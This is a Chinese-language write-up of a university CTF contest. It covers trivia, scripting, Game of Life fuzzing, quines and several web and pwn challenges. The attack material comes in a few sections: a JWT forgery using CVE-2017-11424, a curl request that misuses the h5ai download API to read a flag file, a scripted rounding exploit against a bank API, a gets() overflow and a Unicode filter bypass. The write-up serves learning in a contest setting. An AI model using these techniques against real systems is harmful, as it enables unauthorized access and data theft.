Skip to content

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

数理基础不扎实的 Write Up

猫咪问答++

  1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?

啊这,太多了先跳过

  1. 第一个以信鸽为载体的 IP 网络标准的 RFC 文档中推荐使用的 MTU (Maximum Transmission Unit) 是多少毫克?

查了一下发现用信鸽当载体的 RFC 还不止一个大佬一天有 28 小时。题目说了第一个,那就是 rfc1149

The MTU is variable, and paradoxically, generally increases with increased carrier age. A typical MTU is 256 milligrams.

  1. USTC Linux 用户协会在 2019 年 9 月 21 日自由软件日活动中介绍的开源游戏的名称共有几个字母?

很容易在 USTC LUG 活动记录里找到 TEEWORLDS 游戏,共 9 个字母

  1. 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?

题目特地为这题做了两个提示

提示:正如撸猫不必亲自到现场,解出谜题也不需要是科大在校学生。

提示:建议身临其境。

因此可以联想到百度街景这个服务,搜索目标位置然后数一下,一共 9 个停车位。

  1. 中国科学技术大学第六届信息安全大赛所有人合计提交了多少次 flag?

这题的答案在比赛开始前的宣传文章里有

在去年的第六届信息安全大赛中,总共有 2682 人注册,1904 人至少完成了一题。比赛期间所有人合计提交了 17098 次 flag

好了,我们现在还有一道数哺乳动物没有做,自己数是不可能的,去网页中打开开发者工具,尝试发送一次请求,右键把请求复制成 curl 然后复制一个 shell 的 for 循环,马上就得到 flag

for ((i=3;i<=23;i++)); do curl 'http://202.38.93.111:10001/' \
  --silent \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: PHPSESSID=xxxxxxxxxxxx; session=xxxxxxxxxxxxxxxxx' \
  --data-raw "q1=$i&q2=256&q3=9&q4=9&q5=17098" | grep 'flag{'; done

# flag{xxxxxxxx_G00G1e_1s_y0ur_fr13nd_xxxxxxxxxx}

2048

查看源码发现虽然加载了一大堆 js 但是出题人很贴心地给了提示

<!-- 
    changelog:
    - 2020/10/31 getflxg @ static/js/html_actuator.js
  -->

点开对应的 js 可以翻到获取 flag 的这部分代码:

HTMLActuator.prototype.message = function (won) {
  var type    = won ? "game-won" : "game-over";
  var message = won ? "FLXG 大成功!" : "FLXG 永不放弃!";

  var url;
  if (won) {
    url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
  } else {
    url = "/getflxg?my_favorite_fruit=";
  }

看了下参数,当然是 won 啦。在浏览器控制台敲入 HTMLActuator.prototype.message(1) 就能在网络标签页找到包含 flxg{xxxxxxx-FLXG-xxxxxxxxxx} 的请求。

顺便一提,出题人在这里用玩了个 js 的梗,用 +'a' 得到的是 NaN 然后拼接成 'b' + 'a' + NaN + 'a' 最后转小写得到最喜欢的水果 banana太冷了

从零开始的记账工具人

点击下载,居然是个 xlsx 文件,表示没安装 office 很不开心,找个在线网站转成 csv 格式然后写脚本。

const numMap = {
  ...'零壹贰叁肆伍陆柒捌玖'
    .split('')
    .reduce((acc, cur, i) => ({ ...acc, [cur]: i }), {}),
  : 100,
  : 10,
  : 1,
  : 0.1,
  : 0.01,
}

const parse = (str) => {
  let sum = 0
  ;['佰', '拾', '元', '角', '分'].reduce((acc, cur) => {
    // 拾陆元
    if (cur === '拾' && str.startsWith('拾')) {
      sum += 10
      return str.slice(1)
    }
    const rate = numMap[cur]
    let [head, tail] = acc.split(cur)
    if (tail === undefined) return head
    // 贰拾元伍角
    if (head === '') return tail
    // 零陆分
    if (head.startsWith('零')) head = head.slice(1)
    sum += rate * numMap[head]
    // console.log(head, cur ,tail , sum)
    return tail
  }, str)
  if (isNaN(sum)) throw new Error(str)
  console.log(str, sum)
  return sum
}

const input = `
玖元壹角玖分,1
拾陆元陆角贰分,2
叁拾叁元陆角陆分,1
叁元陆角贰分,1
肆元叁角贰分,8
壹佰零叁元零玖分,1
`

const data = input
  .trim()
  .split('\n')
  .map((str) => str.split(','))

data.map(([n, cnt]) => parse(n) * cnt).reduce((acc, cur) => acc + cur, 0)

// flag{17119.13}

超简单的世界模拟器

这题故意没给 nc 入口而且执行时会展示过程,很明显希望我们在本地模拟。所以花时间写一个脚本模拟,想偷懒也可以借助现成的库。然后 fuzz 输入区域就行了,两小题的解都是秒出。

// gameOfLife.js

const LIVE = 1
const DEAD = 0
const DIRECTIONS = [
  [0, 1],
  [1, 0],
  [-1, 0],
  [0, -1],
  [1, 1],
  [-1, -1],
  [-1, 1],
  [1, -1],
]

const game = {
  /**
   * @param {number} h
   * @returns {boolean[][]}
   */
  create(w, h) {
    const world = Array.from({ length: h }, () => Array(w).fill(DEAD))
    return world
  },
  /**
   * @param {boolean[][]} world
   * @returns {boolean[][]}
   */
  step(world) {
    const h = world.length
    const w = world[0].length
    const newWorld = Array.from({ length: h }, () => Array(w).fill(DEAD))
    for (let i = 0; i < h; i++) {
      for (let j = 0; j < w; j++) {
        const cell = world[i][j]
        let neighbors = 0
        for (const [dx, dy] of DIRECTIONS) {
          const x = i + dx
          const y = j + dy
          if (x < 0 || x >= w || y < 0 || y >= h) continue
          if (world[x][y]) neighbors++
        }
        if (cell) {
          // if (neighbors === 0 || neighbors === 1 || neighbors === 4) {} // dead
          if (neighbors === 2 || neighbors === 3) {
            newWorld[i][j] = LIVE
          }
        } else if (neighbors === 3) {
          newWorld[i][j] = LIVE
        }
      }
    }
    return newWorld
  },
  /**
   * @param {boolean[][]} world
   */
  print(world, end = '--------------------') {
    world.forEach((row) =>
      console.log(row.map((c) => (c === LIVE ? '1' : ' ')).join(''))
    )
    console.log(end)
  },
}

/**
 * @param {boolean[][]} world
 */
const check1 = (world) => {
  return (
    world[5][45] === 0 ||
    world[5][46] === 0 ||
    world[6][45] === 0 ||
    world[6][46] === 0
  )
}

/**
 * @param {boolean[][]} world
 * @returns {boolean}
 */
const check2 = (world) => {
  return (
    world[26][45] === 0 ||
    world[26][46] === 0 ||
    world[27][45] === 0 ||
    world[27][46] === 0
  )
}

/**
 * @param {boolean[][]} world
 * @returns {boolean[][]}
 */
const fastStep = (world, g = 200) => {
  while (g--) {
    world = game.step(world)
  }
  return world
}

const randomBoolean = (threshold = 0.5) => {
  return Math.random() > threshold
}

const randomPayload = (threshold = 0.5) => {
  const n = 15
  const payload = Array.from({ length: n }, () =>
    Array(n)
      .fill(0)
      .map(() => +randomBoolean(threshold))
  )
  return payload
}

const main = () => {
  let world = game.create(50, 50)

  // target
  world[5][45] = 1
  world[5][46] = 1
  world[6][45] = 1
  world[6][46] = 1

  world[26][45] = 1
  world[26][46] = 1
  world[27][45] = 1
  world[27][46] = 1

  // payload
  const payload = randomPayload()

  for (let i = 0; i < payload.length; i++) {
    for (let j = 0; j < payload[i].length; j++) {
      world[i][j] = +payload[i][j]
    }
  }

  world = fastStep(world)

  const c1 = check1(world)
  const c2 = check2(world)
  if (c1) console.log('check1!')
  if (c2) console.log('check2!')
  if (c1 && c2) {
    console.log('const payload = ')
    console.log(payload.map((row) => row.join('')))
    console.log(`socket.send(payload.join('\\n') + '\\n')`)
  }

  return c1 && c2
}
while (true) {
  const check = main()
  if (check) break
}

最后的找到的 payload 和浏览器的提交脚本:

// console

const payload = [
  '000000001111100',
  '111111100010001',
  '111100101101010',
  '001101110110110',
  '110110110110001',
  '001100001000010',
  '100000100111000',
  '110011110011100',
  '101110110111001',
  '101110111000000',
  '011010110011011',
  '111101111100100',
  '001100010110011',
  '100111100110100',
  '100111001001101',
]

// socket.send(token + "\n")
socket.send(payload.join('\n') + '\n')

// flag1
// flag{D0_Y0U_l1k3_g4me_0f_l1fe?_xxxxxxx}
// flag2
// flag{1s_th3_e55ence_0f_0ur_un1ver5e_ju5t_c0mputat1on?_xxxxxxxx}

从零开始的火星文生活

提示是 GBK ,试了各种组合。。。文件开头的回车居然是误导用的。

decode

自复读的复读机

搜索到一篇文章 Self Printing Programs in Python ,找个可以在比赛平台上使用的正向版,然后用[::-1]一顿瞎搞得到反向版本,提交上去发现我们多打印了末尾的换号 \n,为print加上end=""参数得到第一个 flag。

既然能得到代码本身,那只要把上一问打印的代码作为参数丢给 sha256 就能得到第二个 flag 了。

# 第一问

# 正向
print((lambda s:s%s)('print((lambda s:s%%s)(%r))'))
# 反向
print((lambda s:s%s)('print((lambda s:s%%s)(%r)[::-1], end="")')[::-1], end="")
# flag{Yes!_Y0U_h4v3_a_r3v3rs3d_Qu1ne_xxxxxxxxxx}

# 第二问

# sha256 参数部分
(lambda s:s%s)('print(__import__("hashlib").sha256((lambda s:s%%s)(%r).encode()).hexdigest(), end="")')

# 完整 payload
print(__import__("hashlib").sha256((lambda s:s%s)('print(__import__("hashlib").sha256((lambda s:s%%s)(%r).encode()).hexdigest(), end="")').encode()).hexdigest(), end="")
# flag{W0W_Y0Ur_c0de_0utputs_1ts_0wn_sha256_xxxxxxxxxx}

233 同学的字符串工具

字符串大写工具

因为之前了解过大小写转换的一些相关资料,所以知道 Unicode 字符在大小写转换的时候可能存在 case mapping,因此只要找一个大写变化之后能替代 FLAG 的字符就行了。

// console

// 可以在这个网站上找到所有小写字符然后遍历搜索符合条件的字符
// https://www.compart.com/en/unicode/category/Ll

Array.from(document.querySelectorAll('a.content-item.card'))
  .map((i) => i.children[1].innerText)
  .find(
    (i) =>
      'FLAG'.includes(i.toUpperCase()) &&
      !['F', 'L', 'A', 'G', 'f', 'l', 'a', 'g'].includes(i)
  )
// "fl"
// "fl".toUpperCase() // "FL"

也可以直接遍历全部 Unicode 字符:

import sys

for i in range(sys.maxunicode + 1):
    c = chr(i)
    up = c.upper()
    if up in 'FLAG' and c not in 'FLAGflag':
        print(c, up)
        # fl FL
        break

# flag{badunic0debadbad_xxxxxx}

UTF-7 到 UTF-8 转换工具

查了下 UTF-7 的相关资料,发现在 UTF-7 中,a-z 是无须编码的,但是我们依然可以按照其他字符的编码规则把它们编码

# 编码 'a'
+AGE-
# 输入
fl+AGE-g
# flag{please_visit_www.utf8everywhere.org_xxxxx}

233 同学的 Docker

这题就像是把密码提交到了 Git 上的番外版。。。

# 省略安装 docker 过程。。。
# 先把镜像拉下来
docker pull 8b8d3c8324c7/stringtool
# 查看一下
docker image inspect 8b8d3c8324c7/stringtool
# 省略一大堆输出,不了解 docker 可以挨个查看打印出来的目录,我最后在打印的 LowerDir 中找到了 flag
tree /var/lib/docker/overlay2/xxxxxxxxxxxxxxxx

/var/lib/docker/overlay2/xxxxxxxxxxxxxxxx
├── committed
├── diff
│   └── code
│       ├── app.py
│       ├── Dockerfile
│       └── flag.txt
├── link
├── lower
└── work

cat /var/lib/docker/overlay2/xxxxxxxxxxxxxxxx/diff/code/flag.txt
# flag{Docker_Layers!=PS_Layers_hhh}

狗狗银行

思考时间最久的题之一,一开始按照往年思路尝试负数、大数、并发均无效。仔细琢磨后终于发现了漏洞在四舍五入的部分,只要让利息超过 0.5 狗 就能得到 1 狗 的利息,而储蓄卡利息翻倍之后(0.6%)恰好超过信用卡利息(0.5%)。所以我们需要开一张信用卡用于借款,然后开大量 167 狗 的储蓄卡薅利息,同时每天把赚出来的利息转回信用卡还款防止复利爆炸。

// console

const token = 'xxxxxxxxx'
const url = 'http://202.38.93.111:10100/'

// debit | credit
const create = async (type = 'debit') =>
  fetch('/api/create', {
    headers: {
      authorization: 'Bearer ' + token,
      'content-type': 'application/json;charset=UTF-8',
    },
    body: JSON.stringify({ type }),
    method: 'POST',
  })

const transfer = async (src, dst = 2, amount = -167) =>
  fetch('/api/transfer', {
    headers: {
      authorization: 'Bearer ' + token,
      'content-type': 'application/json;charset=UTF-8',
    },
    body: JSON.stringify({ src, dst, amount }),
    method: 'POST',
  })

const eat = async (account = 2) =>
  fetch('/api/eat', {
    headers: {
      authorization: 'Bearer ' + token,
      'content-type': 'application/json;charset=UTF-8',
    },
    body: JSON.stringify({ account }),
    method: 'POST',
  })

const sleep = (time = 100) => new Promise((res) => setTimeout(res, time))

const init = async () => {
  await create('credit')
  const creditCnt = 170
  for (let i = 3; i <= creditCnt; i++) {
    create()
  }

  for (let i = 3; i <= creditCnt; i++) {
    transfer(i)
    await sleep(50)
  }
  transfer(1, 2, 1000)
}

const main = async () => {
  await init()
  console.log('init finished!')
  await sleep()

  for (let d = 0; d < 100; d++) {
    console.log('day', d)
    eat()
    await sleep()
    for (let i = 3; i <= creditCnt; i++) {
      transfer(i, 2, 1)
      await sleep(50)
    }
    await sleep()
  }
}

main()

// flag{W0W.So.R1ch.Much.Smart.xxxxxxx}

来自一教的图片

根据提示 傅里叶光学 猜测图片使用了傅里叶变换,搜索相关工具查找到 ImageJ ,丢进去 FFT 一下就能找到 flag,最后的图片如果不好读也可以借助 PS 的曲线偏移功能帮助抄写。

# 参考步骤
ImageJ -> Process -> FFT

PS -> Filter -> Other -> Offset

flag{Fxurier_xptics_is_fun}

fft

超简陋的 OpenGL 小程序

瞎调把视角移动到墙后面,这时只能看清一半的 flag,需要把光源也调过去 flag{glGraphicsHappy(233);} 题目不够难导致 OpenGL 入门失败

// basic_lighting.fs
    vec3 lightDir = normalize(lightPos - FragPos);
+   lightDir.z = lightDir.z * -8;

// basic_lighting.vs
    FragPos = vec3(model * vec4(aPos, 1.0));
+   FragPos.z =  FragPos.z * -5;

opengl

生活在博弈树上(部分)

查看代码发现用了 gets ,很明显的栈溢出,但是不会 pwn ,于是尝试输入大量 1 占满缓冲区,居然成功打出了 flag{easy_gamE_but_can_u_get_my_shel1} 入门 pwn 失败

    char input[128] = {};  // input is large and it will be ok.
    gets(input);

第二小题是 ROP,溜了溜了。

普通的身份认证器

题目提示 老旧 Python 网站身份认证依赖的版本 配合网站的注释 <!-- Powered by FastAPI, Axios and Vue.js --> 可以知道这题是想让我们找到 FastAPI 的 jwt 漏洞。

python jwt vulnerability 为关键字搜索了解相关资料,尝试把 alg 改成 none ,经过测试和观察题目通过人数推断行不通。

深入搜索发现 CVE-2017-11424 符合我们的利用条件。但是我们还缺少服务器的 public key,可以通过是读 FastAPI 文档知道网站会在 /docs 目录下自动生成 API 文档或者使用 webdirscan 之类的工具扫描网站目录,然后从文档里的 debug 接口获得公钥。

CyberChef 上利用公钥给自己的 payload 加密 {"sub": "admin","exp": 2604741383} 这里的 exp 可以随便填个不会过期的数字了,然后提交得到 flag{just_A_simple_Json_Web_T0ken_exp1oit_xxxxxx}

漏洞的原理可以参考 Critical vulnerabilities in JSON Web Token libraries

超简易的网盘服务器

通过观察 dockerfile 发现小 c 把 h5ai 的文件复制到 /Public 目录下:

# dockerfile
cp -rp /var/www/html/_h5ai /var/www/html/Public/_h5ai

而在 nginx 配置中没有限制 php 的访问,所以我们可以直接访问 php 文件调用 h5ai 的下载 API

curl 'http://202.38.93.111:10120/_h5ai/public/index.php' --data-raw 'action=download&as=flag.txt.tar&type=php-tar&baseHref=%2F&hrefs=&hrefs%5B0%5D=%2Fflag.txt' --output -

# flag.txt
# 0000755 0000000 0000000 00000000030 13744647043 007466  0
# ustar 00
# flag{super_secure_cloud}

超安全的代理服务器(部分)

使用 chrome 访问这个地址 chrome://net-export/ 点击开始记录日志之后刷新一下网站,然后分析记录下来的日志,搜索一下很容易就能找到这条可疑的日志,访问地址得到 flag{d0_n0t_push_me}

{
  "params": {
    "headers": [
      ":method: GET",
      ":scheme: https",
      ":authority: 146.56.228.227",
      ":path: /8a71e1d0-67e7-4813-bc96-dc03b425d392"
    ],
    "id": 1,
    "promised_stream_id": 2
  },
  "phase": 0,
  "source": { "id": 119026, "start_time": "137004112", "type": 9 },
  "time": "137004129",
  "type": 206
}

不经意传输(部分)

观察代码发现只要我们控制输入参数 vv = x0 就能原封不动获得 m0

    # ...
    print("x0 =", x0)
    # ...
    v = int(input("v = "))
    # ...
    m0_ = (m0 + pow(v - x0, key.d, key.n)) % key.n
    # ...

# flag{U_R_0n_Th3_ha1f_way_0f_succe55_w0rk_h4rder!_xxxxxxx}

附录

使用 python 的 socket 模板

import socket

target = ('xxx.xx.xx.xxx', 80) # ip port
token = 'xxxxxxxxxxx'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
# s.sendall(token)

while True:
    data = s.recv(1024)
    if not data:
        break
    print('> ', data)
    if 'Please input your token:' in str(data):
        s.sendall(token.encode())
        s.sendall('\n'.encode())
        print('<', token)

s.close()